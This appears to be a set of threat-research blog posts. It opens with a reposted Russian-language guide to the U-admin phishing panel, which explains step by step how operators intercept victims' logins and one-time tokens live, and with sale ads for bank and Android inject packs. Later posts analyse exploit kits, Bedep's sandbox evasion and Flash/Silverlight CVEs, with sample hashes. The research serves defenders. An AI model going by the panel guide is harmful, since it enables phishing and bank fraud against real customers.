пароль те что пришли к вам на админку и те что вы использовали для тогочтобы зайти на тот самый аккаунт где вам выскочила рамочка!! В стандартных методах это называется запал и етот пакет информации можно выбросить. можно сделать такую же рамочку после логин этападля всех юзеров на нашей пишем фишинг или инжекте, но проблема в том что это рамочка показывается не всем и не всегда и если жертвена телефон ничего не приходило то он туда ничего никогда не ведет.Я думаю всем понятно что здесь нужна динамическая страница с дистанционным управлением. То есть вы должны принимать решения показыватьрамочку данной жертве или не показывать.Именно это и есть основа.Страница которая присоединена к нашей админке может меняться исходя из команд которые вы задаете в админке.Команд может быть много, но для этого в определенном месте в админке для каждой жертвы eсть список команд, которые можнозадать для данной страницы на которой он(жертвa) находится.[1 image here...not available at dump time]в нашем примитивном пример из PayPal в списке операции должнa присутствовать кнопка "показать рамочку".Если вы зашли на аккаунт с только что полученными данными и у вас выкидывает эту рамочку вы нажимаете кнопку "показать рамочку" для данной жертвой.И у нее на экране покажет такую же рамочку.Tooken, который будет введён в эту рамочку прилетит к вам на админ туда же где лежат username и пароль от этой жертвы.Думаю здесь все понятно.Единственное что хотел бы подчеркнуть то что жертва в любой момент может закрыть страницу закрыть компьютер вырубить сеть.В таком случае связь страницы с админкой теряется и задавать команды для данной страницы не имеет смысла.Для этого в нашей админке есть Tracker онлайн статуса который позволяет нам следить находится ли жертва онлайн или нет. [1 image here...not available at dump time]Теперь структура Tooken intercept админки.Первая страница это главная страница где показана текучка всех посетителей(жертв) ваших инжектов и фишингов.Напротив каждого посетителя есть кнопка O-Panel при нажатии на которую вы попадаете уже на индивидуальную панель операций для данного посетителя.[1 image here...not available at dump time] Именно здесь и находится список операций.Именно здесь крупным планом видно онлайн статус. Прошу заметить что онлайн статусов бывает 3(ONLINE, OFFLINE и WAITING).WAITING статус светится красным и светится только тогда когда жертва ждет операции от вас ,то есть только что вам был отправленпакет информации и страница ждет дальнейших инструкций!.[1 image here...not available at dump time]Также жертва с этим статусом мигает красным и на главной странице что поднимает их в таблице вверх. Окей давайте теперь возьмем реальный пример Phishing страницы скажем одного из нидерландских банков. тут реализованные как PCтак и мобильная версия.[1 image here...not available at dump time]Вы делаете рассылку на email и линки могут открываться на мобильном. в основном 50% так и происходит.Скажем кто-то(жертвa) переходит на Линк в вашем email и попадает на нашу страницу. Вы об этом узнаете сразу через Jabber Alert,в котором будет говориться про нового посетителя.Самое время открыть Universal панель. там вы увидите Новую колонку с информацией про посетителя а Конкретно его айпи ширина экрана и многое другое[1 image here...not available at dump time]с минуты на минуту к нам прилетят логины, их можно ждать как на главной так и на O-Panel.после того как Вы получили логины, Посетитель уходит в режим ожидания. об этом Вам будут говорить красные мигающие панели, она экранe у жертвы будет примерно такое[1 image here...not available at dump time]Что делать вам с полученным пакетом Логинов Решать только Вам. Но если у вас, находясь внутри в аккаунте, попросят ввести tooken, пароль, SMS пароль то самое время вернуться на O-Panel и нажать соответствующую команду. Команда которая приведет к тому что страница на которой находится жертва покажет ему запрос того что вам надо.[1 image here...not available at dump time]После того как жертва ввела в форму Tooken ,она снова уходит в режим ожидания, и Вы снова должны определиться что делать и какую команду ему дать. И так до бесконечности или пока жертва не Закроет страницу. Но если все-таки это надоест вам то у васесть два варианта распрощаться жертвой. это поставить блок [1 image here...not available at dump time]или перенаправить его на оригинал страницу.[1 image here...not available at dump time]При работе с одним посетителем могут стучать другие новые.Это будет отвлекать и все новые посетители будут ждать. чтобы этого избежать на главной странице есть ричашки которые контролируютрегистрацию новых посетителей и переадресацию старых поголовно. Если поставить регистрацию OFF ,то в админке только будут работать Те кто уже Там есть, все новые будут попадать на оригинал страницы контор.A если поставить редирект всех ,то все посетители(жертвы) кто есть в админке будут перенаправлены на свои оригинальные страницы поголовно.Это надо делать когда вы собрались к примеру уходить.------------------------------------------On april 2016 the 4th:------------------------------------------увжаемые друзьяновые инжекты под Андроид------------------------------------------On april 2016 the 11th:------------------------------------------Продается Пак инжектов под андроид для сбора карт.WhatsUpFacebookInstagramViberSkaypGooglePlayPrice:450$user posted imageОбезательно посмотрите видео. В инжектах реализованы Responsive & animations приемы.[Redacted]pass:1qaz------------------------------------------File mirrored here (pass : 1qaz)On april 2016 the 12th:------------------------------------------Pack of Injects for Columbia banks for sale.Credit cards colectors with admin panel on https domen.bancofalabellarbmcolombiacolpatriabancolombiabbvanetbancodeoccidentebancodebogotabancopichinchaPrice:800$[3 images here...not available at dump time]Video: [Redacted]Pass:columbia ------------------------------------------File mirrored here  (pass: columbia)On april 2016 the 14th:------------------------------------------Pack of Injects for Canada banks for sale.Credit cards colectors with admin panel on https domen.TdCibcBmoDesjRbcPrice:500$[3 images here...not available at dump time]Video: [Redacted]Pass:canada ------------------------------------------File mirrored here (pass: canada)On april 2016 the 18th:------------------------------------------Недавно вышел апдейт на U-admin(Universal Admin).Теперь все более соответствует написанному выше описанием.Админ панель теперь имеют специальную директорию под plugins, и все плагины в этой директории автоматически прописывается в админке.[1 image here...not available at dump time]Например, вы приобрели U-admin а потом "Log parser Plugin". Для этого вам просто надо поставить папку Log parser в плагин директорию в админке.Также был разработан VNC плагин который дает возможность коннектится к вашему botnet API с запросом на соединение по VNC/SOCKS для определенного бота.Этот плагин является дополнением к "Tooken Intercept" плагина про который я писал вам выше. Если вы используете "Tooken Intercept" с инжектороми в вашем боте есть в VNC, и в админке вашего Бота есть API управление VNC то при наличии VLC plugin в U-admin возможно сделать запрос на соединение по vnc или socks с ботом.Как правило это делается автоматически при самом первом соединение с инжектоm,то есть когда жертва заходит на страницу перехвата.В связи с этим была слегка переделана O-Panel где в команды была добавлена новая опция проверки статуса VNC/SOCKS соединение.[1 image here...not available at dump time]Куда ,как вы видите, при успешном соединении выводятся данные на VNC/SOCKS------------------------------------------File Tree from some components :Folder PATH listingUADMIN_|   cp.php|   head.php|   index.php|   login.php|   session.php|  +---files|   |   animate.css|   |   bootbox.min.js|   |   bootstrap-notify.min.js|   |   bootstrap-social.css|   |   hover-min.css|   |   index.php|   |   jquery-ui.css|   |   jquery-ui.min.js|   |   jquery.js|   |   my.css|   |  |   +---bootstrap|   |   +---css|   |   |       bootstrap-theme.css|   |   |       bootstrap-theme.css.map|   |   |       bootstrap-theme.min.css|   |   |       bootstrap-theme.min.css.map|   |   |       bootstrap.css|   |   |       bootstrap.css.map|   |   |       bootstrap.min.css|   |   |       bootstrap.min.css.map|   |   |      |   |   +---fonts|   |   |       glyphicons-halflings-regular.eot|   |   |       glyphicons-halflings-regular.svg|   |   |       glyphicons-halflings-regular.ttf|   |   |       glyphicons-halflings-regular.woff|   |   |       glyphicons-halflings-regular.woff2|   |   |      |   |   +---js|   |   |       bootstrap.js|   |   |       bootstrap.min.js|   |   |       npm.js|   |   |      |   |   \---switch|   |           bootstrap-switch.min.css|   |           bootstrap-switch.min.js|   |          |   +---dt|   |       dataTables.bootstrap.min.css|   |       dataTables.bootstrap.min.js|   |       jquery.dataTables.min.js|   |      |   \---images|           ui-icons_444444_256x240.png|           ui-icons_555555_256x240.png|           ui-icons_777620_256x240.png|           ui-icons_777777_256x240.png|           ui-icons_cc0000_256x240.png|           ui-icons_ffffff_256x240.png|          +---opt|       geo_switch.txt|       index.php|       theme.txt|      +---plugins|   +---intercept|   |   |   bc.php|   |   |   class.jabber.php|   |   |   dynamic__part.php|   |   |   functions.php|   |   |   gate.php|   |   |   head.php|   |   |   index.php|   |   |   main.php|   |   |   panel.php|   |   |   text.php|   |   |  |   |   +---ajax|   |   |       cp_ajax.php|   |   |       index.php|   |   |      |   |   +---files|   |   |   |   animate.css|   |   |   |   bootbox.min.js|   |   |   |   bootstrap-notify.min.js|   |   |   |   bootstrap-social.css|   |   |   |   hover-min.css|   |   |   |   index.php|   |   |   |   jquery-ui.css|   |   |   |   jquery-ui.min.js|   |   |   |   jquery.js|   |   |   |   my.css|   |   |   |  |   |   |   +---bootstrap|   |   |   |   +---css|   |   |   |   |       bootstrap-theme.css|   |   |   |   |       bootstrap-theme.css.map|   |   |   |   |       bootstrap-theme.min.css|   |   |   |   |       bootstrap-theme.min.css.map|   |   |   |   |       bootstrap.css|   |   |   |   |       bootstrap.css.map|   |   |   |   |       bootstrap.min.css|   |   |   |   |       bootstrap.min.css.map|   |   |   |   |      |   |   |   |   +---fonts|   |   |   |   |       glyphicons-halflings-regular.eot|   |   |   |   |       glyphicons-halflings-regular.svg|   |   |   |   |       glyphicons-halflings-regular.ttf|   |   |   |   |       glyphicons-halflings-regular.woff|   |   |   |   |       glyphicons-halflings-regular.woff2|   |   |   |   |      |   |   |   |   +---js|   |   |   |   |       bootstrap.js|   |   |   |   |       bootstrap.min.js|   |   |   |   |       npm.js|   |   |   |   |      |   |   |   |   \---switch|   |   |   |           bootstrap-switch.min.css|   |   |   |           bootstrap-switch.min.js|   |   |   |          |   |   |   +---dt|   |   |   |       dataTables.bootstrap.min.css|   |   |   |       dataTables.bootstrap.min.js|   |   |   |       jquery.dataTables.min.js|   |   |   |      |   |   |   \---images|   |   |           ui-icons_444444_256x240.png|   |   |           ui-icons_555555_256x240.png|   |   |           ui-icons_777620_256x240.png|   |   |           ui-icons_777777_256x240.png|   |   |           ui-icons_cc0000_256x240.png|   |   |           ui-icons_ffffff_256x240.png|   |   |          |   |   \---public|   |           .ht.db|   |           index.php|   |           Removed.txt|   |          |   +---log_parser|   |   |   functions.php|   |   |   gate.php|   |   |   head.php|   |   |   index.php|   |   |   main.php|   |   |  |   |   +---ajax|   |   |       server_side.php|   |   |       ssp.class.php|   |   |      |   |   +---classes|   |   |       browser.php|   |   |      |   |   +---files|   |   |   |   animate.css|   |   |   |   bootbox.min.js|   |   |   |   bootstrap-notify.min.js|   |   |   |   bootstrap-social.css|   |   |   |   hover-min.css|   |   |   |   jquery-ui.min.js|   |   |   |   jquery.js|   |   |   |   my.css|   |   |   |  |   |   |   +---bootstrap|   |   |   |   +---css|   |   |   |   |       bootstrap-theme.css|   |   |   |   |       bootstrap-theme.css.map|   |   |   |   |       bootstrap-theme.min.css|   |   |   |   |       bootstrap-theme.min.css.map|   |   |   |   |       bootstrap.css|   |   |   |   |       bootstrap.css.map|   |   |   |   |       bootstrap.min.css|   |   |   |   |       bootstrap.min.css.map|   |   |   |   |      |   |   |   |   +---fonts|   |   |   |   |       glyphicons-halflings-regular.eot|   |   |   |   |       glyphicons-halflings-regular.svg|   |   |   |   |       glyphicons-halflings-regular.ttf|   |   |   |   |       glyphicons-halflings-regular.woff|   |   |   |   |       glyphicons-halflings-regular.woff2|   |   |   |   |      |   |   |   |   +---js|   |   |   |   |       bootstrap.js|   |   |   |   |       bootstrap.min.js|   |   |   |   |       npm.js|   |   |   |   |      |   |   |   |   \---switch|   |   |   |           bootstrap-switch.min.css|   |   |   |           bootstrap-switch.min.js|   |   |   |          |   |   |   \---dt|   |   |           dataTables.bootstrap.min.css|   |   |           dataTables.bootstrap.min.js|   |   |           jquery.dataTables.min.js|   |   |          |   |   \---public|   |           .htBd.db|   |           geo_switch.txt|   |           index.php|   |           theme.txt|   |          |   +---settings|   |   |   functions.php|   |   |   index.php|   |   |   main.php|   |   |  |   |   \---public|   |           cfg.php|   |           index.php|   |          |   +---style|   |   |   functions.php|   |   |   index.php|   |   |   main.php|   |   |  |   |   \---public|   |           index.php|   |          |   \---text|       |   functions.php|       |   main.php|       |   text.php|       |  |       \---public|               index.php|               texts.txt|              \---scrNote: If you are interested by the [Redacted] part please send a mail

Simulacra & Simulation - Jean BaudrillardFeatured in MatrixBedep could be described as a fileless loader with a resident module that can optionally perform AdFraud. It's intimate to Angler EK and appeared around August 2014. On the 2016-03-24 I noticed several move in Bedep. Angler infecting a VM and integrating it into an instance of Bedep botnet2016-03-24No more variable in the URI (as several month before), the protocol Key changed and in most of my manual checks, all threads were sending a strange payload in the first stream.2ko size for Win7 64bits :80eb8a6aba5e6e70fb6c4032242e9ae82ce305d656b4ed8b629b24e1df0aef9aPopup shown by the first payload from Bedep Stream - Win7(in the background Angler Landing)48ko size for WinXP 32bits:a0fe4139133ddb62e6db8608696ecdaf5ea6ca79b5e049371a93a83cbcc8e780Popup shown by the first payload from Bedep Stream - WinXPLooking at my traffic I thought for some time that one of the Bedep instances was split in two.Then I understood that I got different result on my "manually" driven VM (on VMWare ESXi) and my automated Cuckoo driven one ( on VirtualBox). I suspected it was related to hardening, as this is one of the main difference between those two systems.And I got confirmation. Here is an example on a GooNky ([1] [2] [3]) malvertising traffic in Australia :A VM not hardened enough against Bedep got redirected to a "decoy" instance of Bedep that i will refer as :Bedep "Robot Town" - 2016-04-12Now look what i get instead with a VM that is not spotted as is:Same Angler thread - VM not detected. 1st Stream get Vawtrak2016-04-12( Vawtrak in that stream   d24674f2f9879ee9cec3eeb49185d4ea6bf555d150b4e840407051192eda1d61 )I am not skilled enough to give you the list of checks Bedep is doing. But here is one of them spotted by Cuckoo :Bedep doing some ACPI checksI think there are multiple level of checks. Some resulting in Bedep not trying to contact the C&C, some where the positive check end up with a different seed for the Bedep DGA redirecting spotted machines in a dedicated instance. This is quite powerful :- the checks are made without dropping an executable. - if you don't know what to expect it's quite difficult to figure out that you have been trapped- there is a lot of things that operators can do with this list of known bots and initial Bedep thread ID. One of them is for instance knowing which of the infection path are researcher/bots "highway" :Illustration for Bedep "Robot Town" from an "infection path" focused point of viewThis could be just a move to perform different tasks (AdFraud only (?) ) on VMs, but my guess it that this Bedep evolution on 2016-03-24 is a fast reaction to this Proofpoint Blog from 2016-03-18 which  show how Bedep threads are additional connectable dots. Sharing publicly is often a difficult decision. The question is which side will benefits the most from it, in the long time.For researchers:In the last 3 weeks, if your VM have communicated with :95.211.205.228 (which is a Bedep ip from end of 2015 reused) || ( 85.25.41.95  && http.uri.path  "ads.php?sid=1901" ) and you are interested by the "real payload" then you might want to give PAfish a run.Marvin - Paranoid AndroidOn the other hand, any of your VM which has communicated with 104.193.252.245 (Bedep "standard" 18xx 19xx instance)  since the 24 of March is hardened enough to grab the real payload.[Edits]- Removed the AU focused mention on the Vawtrak. I have been told (Thanks ! ) it's US focused. Got geo Glitched. Maybe more about that a day or the other.- Refine the check conditions for Researcher. IP  85.25.41.95 and sid=1901...otherwise...ok :)[/Edits]Acknowledgements :Thanks Will Metcalf and Malc0de for the discussions and help on this topic--I'm sorry, but I must do it...Greetings to Angler and Bedep guys. 😉 You are keeping us busy...and awake !Reading :Video Malvertising Bringing New Risks to High-Profile Sites - 2016-03-18 - ProofpointBedep’s DGA: Trading Foreign Exchange for Malware Domains - 2015-04-21 - Dennis Schwarz - ArborSertAngler EK : now capable of "fileless" infection (memory malware) - 2014-08-30Modifying VirtualBox settings for malware analysis - 2012-08-23  - Mikael Keri

Spotted in a "degraded" version on the 2016-04-02 in Magnitude, live also since 2016-03-31 in Nuclear Pack, Adobe was really fast at fixing  this vulnerability with the patch released on the 2016-04-07 bringing Flash Player to version 21.0.0.213It's not the first time a "0day" exploit is being used in a "degraded" state.This happened before with Angler and CVE-2015-0310 and CVE-2014-8439You'll find more details about the finding on that Proofpoint blog here :"Killing a zero-day in the egg: Adobe CVE-2016-1019"and on that FireEye blog here:CVE-2016-1019: A new flash exploit included in Magnitude Exploit KitNote : we worked with Eset, Kaspersky and Microsoft as well on this case.Nuclear Pack :2016-03-31 "Degraded"Identification by  Eset, Kaspersky and FireEye (Thanks)Exploit sent to Flash Player 20.0.0.306 by Nuclear Pack on the 2016-03-31CVE-2016-1019 insideSample in that pass:  301f163644a525155d5e8fe643b07dceac19014620a362d6db4dded65d9cad90Out of topic example of payload dropped that day by that instance of Nuclear : 42904b23cff35cc3b87045f21f82ba8b (locky)Note the string "CVE-2016-1001" in the Nuclear Pack, explaining why maybe this exploit is being used in a degraded state.CVE-2016-1001 string spotted by Denis O'Brien (Malwageddon), the 2016-04-05 in Nuclear Pack exploitMagnitude :2016-04-02 "Degraded" to 20.0.0.306Identified as is by FireEye[2016-04-07: TrendMicro told me they found some hits for this exploit in Magnitude back from 2016-03-31 as well]Magnitude exploiting Flash 20.0.0.306 with CVE-2016-1019 the 2016-04-02 in the morning.Payload is Cerber.Side note : the check on the redirector in front of Magnitude ( http://pastebin.com/raw/gfEz25fa ) which might have been fixed with the CVE-2015-2413 was in Magnitude landing itself from September to end of November 2015.res:// onload check features unobfuscated at that time in Magnitude Landing 2015-09-29Sample in that pass: 0a664526d00493d711ee93662a693eb724ffece3cd68c85df75e1b6757febde5Out of topic payload: 9d92fb315830ba69162bb7c39c45b219cb8399dd4e2ca00a1e21a5457f92fb3c Cerber RansomwareNote: I got successful pass with Windows 8.1 and Flash 20.0.0.272 as well and Windows 10 build 1511 (feb 2016) via Flash 20.0.0.306 on Internet Explorer 11. Edge seems not being served a landing.Neutrino:2016-04-11 - "degraded" as well it seems. (at least didn't got it to work on Flash 21.x)CVE id by @binjo and Anton Ivanov (Kaspersky)Neutrino successfully exploit Flash 20.0.0.306 with CVE-2016-10192016-04-11Fiddler : Sent to vtOut of topic payload: 83de3f72cc44215539a23d1408c140ae325b05f77f2528dbad375e975c18b82e Reading :Killing a zero day in the egg : CVE-2016-1019 - 2016-04-07 - ProofpointCVE-2016-1019: A new flash exploit included in Magnitude Exploit Kit - 2016-04-07 -  Genwei Jiang - FireEyeZero-Day Attack Discovered in Magnitude Exploit Kit Targeting CVE-2016-1019 in Older Versions of Adobe Flash Player - 2016-04-07 - Peter Pi, Brooks Li and Joseph C. Chen - TrendMicro

Two weeks after Flash patch,  two months after last Flash exploit integration in Angler, on the 2016-03-25 Angler EK, in some threads, is starting to send an exploit to Flash Player 20.0.0.270 and 20.0.0.306I tried multiple configuration but I was not able to get exploited. The following day I got successful infections with Flash 20.0.0.270 and 20.0.0.306.Angler EK :2016-03-25The CVE here has been identificated as CVE-2016-1001 by Eset and Kaspersky (Thanks)2016-03-26 - Angler EK successfully exploiting Flash 20.0.0.306 in Internet Explorer 11 on Windows 7Fiddler sent to VT here.Hash of the associated SWF fwiw : b609ece7b9f4977bed792421b33b15daObserved as well : ab24d05f731caa4c87055af050f26917 - c4c59f454e53f1e45858e95e25f64d07NB : this is just "one" pass.  Angler EK can be used to spread whatever its customers want to spread .Selected examples I saw in the last 4 days : Teslacrypt (ID 20, 40,52, 74 ,47) , Locky (affid 14 - 7f2b678398a93cac285312354ce7d2b7  and affid 11 - f417b107339b79a49e4e63e116e84a32), GootKit b9bec4a5811c6aff6001efa357f1f99c, Vawtrak  0dc4d5370bc4b0c8333b9512d686946cRamnit 99f21ba5b02b3085c683ea831d79dc79Gozi ISFB (DGA nasa) 11d515c2a2135ca00398b88eebbf9299BandarChor, (several instances, ex f97395004053aa28cadc6d4dc7fc0464 - 3c9b5868b4121a2d48b980a81dda8569 )Graybird/LatentBot f985b38f5e8bd1dfb3767cfea89ca776Dridex - b0f34f62f49b9c40e2558c1fa17523b5 (this one was 10 days ago..but worth a mention)Andromeda (several instances)and obviously many Bedep threads and their stream of PE (evotob, reactorbot (several instances), Tofsee, Teslacrypt,Kovter, Miuref)Edit 1: 2016-03-29 -  I was mentioning 2016-1010 as a candidate but it's not. Modified with the correct CVE ID provided by Eset and Kaspersky..

Fixed with the January 2016 Microsoft patches, CVE-2016-0034  ( MS16-006 ) is a Silverlight Memory Corruption vulnerability and it has been spotted by Kaspersky with rules to hunt Vitaliy Toropov’s unknown Silverlight exploit mentioned in HackingTeam leak.Angler EK :On the 2016-02-18 the landing of Angler changed slightly to integrate this piece of code :Silverlight integration Snipet from Angler Landing after decoding2016-02-18resulting in a new call if silverlight is installed on the computer:Angler EK replying without body to silverlight callHere a Pass in great britain dropping Vawtrak via Bedep buildid 77862016-02-18I tried all instances i could find and the same behavior occured on all.2016-02-22 Here we go : call are not empty anymore.Angler EK dropping  Teslacrypt via silverlight  5.1.41105.0 after the "EITest" redirect 2016-02-22I made a pass with Silverlight : 5.1.41212.0 : safe.Edit1 : I received confirmation that it's indeed CVE-2016-0034 from multiple analyst including Anton Ivanov (Kaspersky). Thanks !Xap file : 01ce22f87227f869b7978dc5fe625e16Dll : 22a9f342eb367ea9b00508adb738d858Out of topic payload : 6a01421a9bd82f02051ce6a4ea4e2edc (Teslacrypt)Fiddler sent hereRIG : 2016-03-29Malc0de spotted modification in the Rig landing indicating integration of Silverlight Exploit.Here is a pass where the Silverlight is being fired and successfully exploited. CVE identification by : Anton Ivanov (Kaspersky)RIG - CVE-2016-0034 - 2016-03-29Xap file in that pass :  acb74c05a1b0f97cc1a45661ea72a67a080b77f8eb9849ca440037a077461f6bcontaining this dll : e535cf04335e92587f640432d4ec3838b4605cd7e3864cfba2db94baae060415( Out of topic payload : Qbot 3242561cc9bb3e131e0738078e2e44886df307035f3be0bd3defbbc631e34c80 )Files : Fiddler and sample (password is malware)Reading :The Mysterious Case of CVE-2016-0034: the hunt for a Microsoft Silverlight 0-day - 2016-01-13 - Costin Raiu & Anton Ivanov - KasperskyPost Publication Reading:(PDF) Analysis of Angler's new silverlight Exploit - 2016-03-10 - Bitdefender Labs

Lately I received multiple questions about connection between Reveton and Cryptowall.I decided to have a look.A search in ET Intelligence portal at domains from Yonathan's Cryptowall TrackerET Intelligence search on Specspa .comshow that the first sample ET has talking with it is :e2f4bb542ea47e8928be877bb442df1b  2013-10-20A look at the http connexion shows the "us.bin" call mentioned by Yonathan (btw the us.bin item is still live there)ET Intelligence  : e2f4bb542ea47e8928be877bb442df1b http connexionsET Intelligence : Associated alert pointing at Cryptowall.A look into VirusTotal Intelligence shows that this sample is available in a Pcap captured and shared by ThreatGlass :NSFW://www.threatglass .com/malicious_urls/sunporno-comHiman EK dropping Cryptowall 2013-10-20captured by ThreatGlassWith the same referer and in the same Exploit Kit i got dropped 20 days earlier Flimrans :(See : http://malware.dontneedcoffee.com/2013/10/HiMan.html )Flimrans disappeared soon after this post from 2013-10-08 about the affiliate :http://malware.dontneedcoffee.com/2013/10/flimrans-affiliate-borracho.htmlInterestingly Flimrans is showing in US the same Design from Reveton pointed by Yonathan :Flimrans US 2013-10-03What is worth mentioning is that Flimrans was the only ransomware (i am aware of) to show a Spanish version of this same design :Flimrans ES 2013-10-03The timeline is also inline with a link between those two Ransomware (whereas Reveton was still being distributed months after these events).Digging into my notes/fiddlers i even found that this bworldonline .com which is still hosting the us.bin was in fact also the redirector to HiMan dropping Flimrans 20 days earlier from same sunporno upper.[The credits goes to Eoin Miller who at that time pointed that infection path allowing me to replay it]The compromised server storing the first design Blob used by cryptowallused to redirect 20 days earlier to Himan dropping Flimrans (which is using that same design).So...Cryptowall son of Borracho? I don't know for sure...but that could to be a possibility.Files : Items mentionned here. (password is malware)Read More:HiMan Exploit Kit. Say Hi to one more - 2013-10-02Flimrans Affiliate : Borracho - 2013-10-08

While other exploit kit are struggling to keep up with Angler (none is firing CVE-2015-8446 , maybe because of the Diffie-Hellman protection on Angler's exploits ),- Nuclear / Magnitude and Neutrino last exploits are from October (CVE-2015-7645)- RIG and Sundown are relying on July exploits (Hacking Team's one - CVE-2015-5122)( all have the IE CVE-2015-2419 from august)Angler has just integrated CVE-2015-8651 patched with Flash 20.0.0.270 on 2015-12-28Angler EK : 2016-01-25The exploit might be here since the 22 based on some headers modification which appeared that day.It's not yet pushed in all Angler EK threads but widely spread.Thanks Anton Ivanov (Kaspersky) for CVE Identification !CVE-2015-8651 (and CVE-2015-2419) being successfully exploited by Angler EK to load bedep in memory2016-01-25Fiddler sent to VT.---Another pass via the "noisy" Cryptowall "crypt13x" actor which threads also has it :CVE-2015-8651 being successfully exploited by Angler EK to load Cryptowall  (crypt13001)from the widely spread and covered "crypt13x" actor thread - 2016-01-25(Out of Topic payload : 5866906a303b387b9918a8d7f8b08a51 Cryptowall crypt13001 )I have been told by Eset that the exploit is successful on Flash 20.0.0.235 and Firefox.---I spotted a thread serving a landing and an exploit to Firefox.2016-03-23 Firefox pass with Sandbox escape :Angler EK exploiting CVE-2015-8651 on Firefox 33.1.1 and Flash 20.0.0.305Bedep successfully wrote its payload on the drive.2016-03-23Files : Fiddler in a zip (password malware)Neutrino :Thanks Eset for identifying the added CVE here.Neutrino Exploiting CVE-2015-8651 on 2016-02-09Here Bunitu droppedNote: For some reason couldn't have it working with Flash 20.0.0.228.Files : Fiddler here (password is malware)Nuclear Pack:Thanks again Eset for CVE identification here.Nuclear Pack exploit CVE-2015-8651 on 2016-02-10Out of topic payload: cdb0447019fecad3a949dd248d7ae30f which is a loader for CloudScout (topflix .info - which we can find in RIG as well those days)It seems Chrome won't save you if you do let it update.2016-02-17 on DE/US/FR trafficThis is not something i can reproduce.Is what i get with Chrome 46.0.2490.71 and its builtin 19.0.0.207 (which should fast update itself to last version)Files : Fiddler here (password: malware)Magnitude:2016-02-18CVE ID confirmed by Anton Ivanov (Kaspersky)Magnitude dropping Cryptowall via CVE-2015-86512016-02-18Files : Fiddler here (Password is malware)RIG :Some days before 2016-04-06Thanks FireEye for CVE identification.CVE-2015-8651 successfuly exploited by RIG on 2016-04-07Sample in that pass: 4888cc96a390e2970015c9c1d0206011a6fd8e452063863e5e054b3776deae02( Out of topic payload: 30cb7ed7a67eb08fa2845990b7270d64d51e769d6e0dad4f9c2b8e7551bced0a Probably Godzilla downloader)Files : RIG_2016-04-07 (swf, payload and Fiddler - password is malware)Read More:(GoogleTranslate - via @eromang ) Offshore "Dark Hotel" organization of domestic business executives launched APT attacks - 2015-12-31 - ThreatBookPost publication reading :An Analysis on the Principle of CVE-2015-8651 - Antiy Labs - 2016-01-26

Snipshot of MonterAV AffiliateAs I got many questions about an EK named XXX (that is said to be better than Angler 😉 ) I decided to share some data here.XXX Control Panel Login Page.XXX is Angler EK ( it's the real name of its most documented instance at least)Angler EK / XXX  IE sploit only Stats on 2015-07-25(for some reason Flash Exploits were not activated on that thread)Note the Chase Logo >> JPMorgan  >>  Cool EK's Exploit Buyer ;)You might want to read "The Transition - "Reveton Team" or "Mr.J/Monster AV" from :Paunch's arrest...The end of an Era ! (2013-10-11) . This is where I first wrote the defense chosen name for this Exploit Kit. The name is chosen after a logo from the Reveton Affiliate.Snipshot of "The Transition" after Paunch's ArrestBut Angler was around before the Reveton team started to use it.Here is one used against Ukrainian that i captured  in August 20132013-08-27 - Exploit Kit unknown to me at that timeAncestor of Angler EK as we know it[Payload here is most probably Lurk]when Reveton Team was still on Cool EK. It appears that instance had already Fileless capabilities.A Russian researcher friend connect that instance back to this Securelist post from 2012-03-16 : A unique ‘bodiless’ bot attacks news site visitorsSo the (c) 2010 at the bottom of the control panel is probably...the real birth year of Angler.This indexm.html variant of Angler EK is most probably still being used in RU/UA and was one of the early adopter of CVE-2015-0311 (a flash 0day from January) before many "standard" instances of Angler. There was still java exploit inside in march2015-01-27 - Angler EK "indexm" exploiting CVE-2015-2551 and firing Java exploits[Payload here is most probably Lurk]Angler EK has been briefly mentioned (translation here ) as part of a "partnerka" by a user using Menatep as Nickname in February 2014Conclusion : xxx is what we call Angler EK and Angler EK (indexm instance) is not that young!Files : 2 Fiddler pass of Angler EK "indexm" from 2013 and 2015 (Password : malware)Read More :Police Locker land on Android Devices - 2014-05-04Paunch's arrest...The end of an Era ! - 2013-10-11Crimeware Author Funds Exploit Buying Spree - 2013-01-07 - KrebsOnSecurityCool Exploit Kit - A new Browser Exploit Pack on the Battlefield with a "Duqu" like font drop - 2012-10-09A unique ‘bodiless’ bot attacks news site visitors - 2012-03-16 - Sergey Golovanov - SecurelistPost publication Reading :Russian hacker gang arrested over $25m theft - 2016-06-02 - BBC News [Cf Lurk]Is it the End of Angler ? - 2016-06-11How we helped to catch one of the most dangerous gangs of financial cybercriminals - 2016-08-30 - SecureList

One week after patch Flash 19.0.0.245 is being exploited by Angler EK via CVE-2015-8446Angler EK :2015-12-14CVE identification by Anton Ivanov ( Kaspersky ) and FireEye  (Thanks !)Angler EK exploiting Flash 19.0.0.245 via CVE-2015-84462015-12-14Sample in that pass : b5920eef8a3e193e0fc492c603a30aafSample from other Angler EK instance : 0615fb9e037b7bf717cc9b04708e51da 720089b93a0f2bb2a72f1166430de522Fiddler sent to VT.(Not replayable. You know how to contact me to land on live instances. I might not reply to mail coming from gmail,live,yahoo etc...  mailboxes)Out of topic : in that pass Bedep BuildID 5004 is loaded in Memory and is then grabbing those 2 dll in a streamf5c1a676166fe3472e6c993faee42b34d65f155381d26f8ddfa304c83b1ad95a (Credential Stealer)and after that performing AdfraudCVE-2015-8446 in Angler EK - malicious mp3 is stored in encrypted JSON (same schema as in CVE-2015-5560). pic.twitter.com/FCyvP43Q0X— Anton Ivanov (@antonivanovm) December 17, 2015 Last safe version of Flash against commercial exploit kit  was 19.0.0.226 fixing CVE-2015-7645Post publication readings :(Google Translate) Angler EK latest CVE-2015-8446 Flash Exploit analysis - 2015-12-19 - Qihoo360

Yesterday's Nymaim spam campaign was also redirecting to Nuclear Pack.Without big surprise the sample ( 592899e0eb3c06fb9fda59d03e4b5b53 ) dropped by Nuclear is the same as the fake update proposed.But there was an additionnal 11kb payload call for which i could not find sample on driveNuclear Pack dropping Nymaim in the 2015-11-30 Spam CampaignIt was also unusually encoded with two XOR pass and first part of the decoded stream is a Shellcode.Friends (who don't want to be mentioned) figured a privilege escalation was in use there :According to Kaspersky and Timo Hirvonen (F-Secure) it's CVE-2014-4113 ( Win32k.sys Elevation of Privilege Vulnerability )I did not got to see the privilege escalation in live condition.Note: it's not the first time a public Exploit Kit is integrating an exploit to escalates right on dropped payload (Cf CVE-2015-2426 in Magnitude )Files : Fiddler and Dll here (password is malware - XOR key : 56774347426F664767  then  213404052d09212031)Thanks : Kaspersky,  Timo Hirvonen , Malc0de and 2 other friends for taking some time and use their wizardness  on this.Read More :An Analysis of A Windows Kernel-Mode Vulnerability (CVE-2014-4113) - 2014-10-29 - TrendMicro

